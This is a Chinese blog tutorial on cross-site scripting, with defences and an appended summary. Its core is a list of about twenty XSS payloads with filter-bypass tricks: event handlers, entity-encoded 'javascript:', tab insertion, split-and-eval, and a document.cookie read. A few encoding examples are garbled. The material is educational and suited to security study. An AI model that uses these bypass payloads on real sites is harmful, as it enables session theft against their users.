XSS漏洞

文章介绍了XSS跨站脚本攻击的原理,指出了由于系统对用户输入过滤不足,允许恶意脚本执行。提出了修复措施,包括字符转义和使用HTTPOnly。同时详细列举了不同类型的XSS,如DOM型、反射型和存储型,并展示了多种常见的payload及其绕过方法。

一、介绍

XSS又叫CSS(Cross Site Script),跨站脚本攻击。因与html中的css样式重名,所以称之为XSS。

二、原理

系统对用户的输入过滤不严,导致用户可以输入恶意的脚本代码,如js,并且能够被浏览器执行,而达到攻击者的目的。

三、修复方式

1、对实体字符进行转义
在这里插入图片描述
2、使用HTTP Only来禁止JavaScript读取cookie值

3、输入时校验、浏览器与Web应用端采用相同的字符编码

四、分类

1、DOM型:修改HTML DOM节点,俗称自己玩自己
2、反射型:也叫非持久性,只能执行一次,再次执行的话,需要重新输入
3、存储型:也叫持久性,存储到数据库中

五、发现

1、找输入:寻找用户可以输入的位置
2、找输出:寻找输入内容显示的位置
3、构造payload

六、常见payload及绕过

//1
<script>alert(1)</script>

//2
<script>location="https://www.baidu.com"</script>

//3
<script>alert(document.cookie)</script>

//4
<img src=1 onerror=alert(1)>

//5
<a href="javascript:alert(1)">aa</a>

//6
<input name="keyword" value=""oninput="alert(1)">

//7
<input name="keyword" value=""onclick="alert(1)">

//8  对script关键字进行编码
<a href="java&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)">aa</a>

//9
<script>confirm(1)</script>

//10
<script>prompt(1)</script>

//12 事件驱动
<img src='./11.jpg' onmouseover='alert(1)'> 
<input type="text" onkeydown="alert(1)">
<input type="text" onkeyup="alert(1)">
.......

//13
<svg onload="alert(1)"> //svg是h5的标签,onload也是事件,提交即触发

//14
<input onfocus=alert(1) autofocus> //onfucus为事件,聚焦(当光标放到目标)即触发

//15 大小写混编
html对大小写不敏感,js对大小写敏感

//16  [/]代替空格
<a/href="javascript:alert(1)">111</a>

//17 在一些关键字内插入回车符与tab符,绕过关键字检测
<img src	='#' onerror='alert(1)'>
<a href="ja	va
script:alert(1)">111</a>  //ja tab符 va...

//18 编码绕过
可以对标签属性值进行转码,来实现绕过,转码后要加分号
字符a,的ascii码97,十进制编码&#97; , 十六进制编码&#x61
字符e,的ascii码101,十进制编码&3101 , 十六进制编码&#x65

tab ==> &#9;
换行 ==> &#10;
回车 ==> &#13;

<a href="j&#97;v&#x61;script:alert(1)">11</a> //经过简单编码
<A href="&#01;j&#97;v&#x61;s&#9;c&#10;r&#13;ipt:alert(1)">11</a> //经过插入字符

//19 拆分跨站
<script>z='alert'</script>
<script>z=z+'(1)'</script>
<script>eval(z)</script>
//将语句拆分成多个,拼接起来后执行。若后台对字符串长度做限制,则可用拆分跨站将一个较长的shellcode拆成几部分。

//20 css变形

//21
<a href="#" onClick="return confirm(1)">11</a>

//22
<a href="javascript:top['al\145rt']`1`">11</a>

### 定义 XSS(Cross-Site Scripting)即跨站脚本攻击,是一种常见的 Web 安全漏洞攻击者通过在目标网站注入恶意脚本,当其他用户访问该网站时,恶意脚本会在用户的浏览器中执行,从而窃取用户信息或进行其他恶意操作[^1]。 ### 原理 - **反射型**:攻击者构造包含恶意脚本的 URL,诱导用户点击,服务器接收到请求后将恶意脚本反射到响应中,浏览器解析并执行该脚本。 - **存储型**:攻击者提交一段 XSS 代码后,服务器接收并存储,当其他用户访问包含该 XSS 代码的页面时,XSS 代码被浏览器解析并执行。允许用户存储数据到服务器端的 Web 应用程序可能存在该类型 XSS 漏洞[^2]。 - **DOM 型**:基于 DOM(文档对象模型)的操作,通过修改页面的 DOM 结构来注入恶意脚本,不涉及服务器端数据的存储和反射。 ### 检测 - **常见 POC**:POC(Proof of Concept)即概念验证,常指一段漏洞证明的代码。例如,在反射型 XSS 检测中,可以构造包含简单 JavaScript 代码的 URL,如 `http://example.com/search?keyword=<script>alert('XSS')</script>`,如果页面弹出提示框,则说明可能存在反射型 XSS 漏洞[^3]。 - **自动化工具**:使用专业的安全检测工具,如 OWASP ZAP、Burp Suite 等,这些工具可以自动扫描网站,检测潜在的 XSS 漏洞。 ### 修复 - **输入过滤**:对用户输入进行严格的过滤,只允许合法的字符和格式。例如,使用正则表达式过滤特殊字符,防止恶意脚本注入。 - **输出编码**:在将用户输入输出到页面时,进行 HTML 实体编码,将特殊字符转换为 HTML 实体,防止浏览器将其解析为脚本。例如,将 `<` 转换为 `<`,`>` 转换为 `>`。 ```java import org.owasp.esapi.ESAPI; public class XSSUtils { public static String encodeForHTML(String input) { return ESAPI.encoder().encodeForHTML(input); } } ``` - **标签黑白名单过滤**:设置标签黑白名单,只允许或禁止特定的 HTML 标签和属性。例如,只允许 `<b>`、`<i>` 等简单标签,禁止 `<script>` 标签。 - **HttpOnly 属性**:对于存储用户敏感信息的 Cookie,设置 HttpOnly 属性,防止 JavaScript 脚本通过 `document.cookie` 窃取 Cookie 信息。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值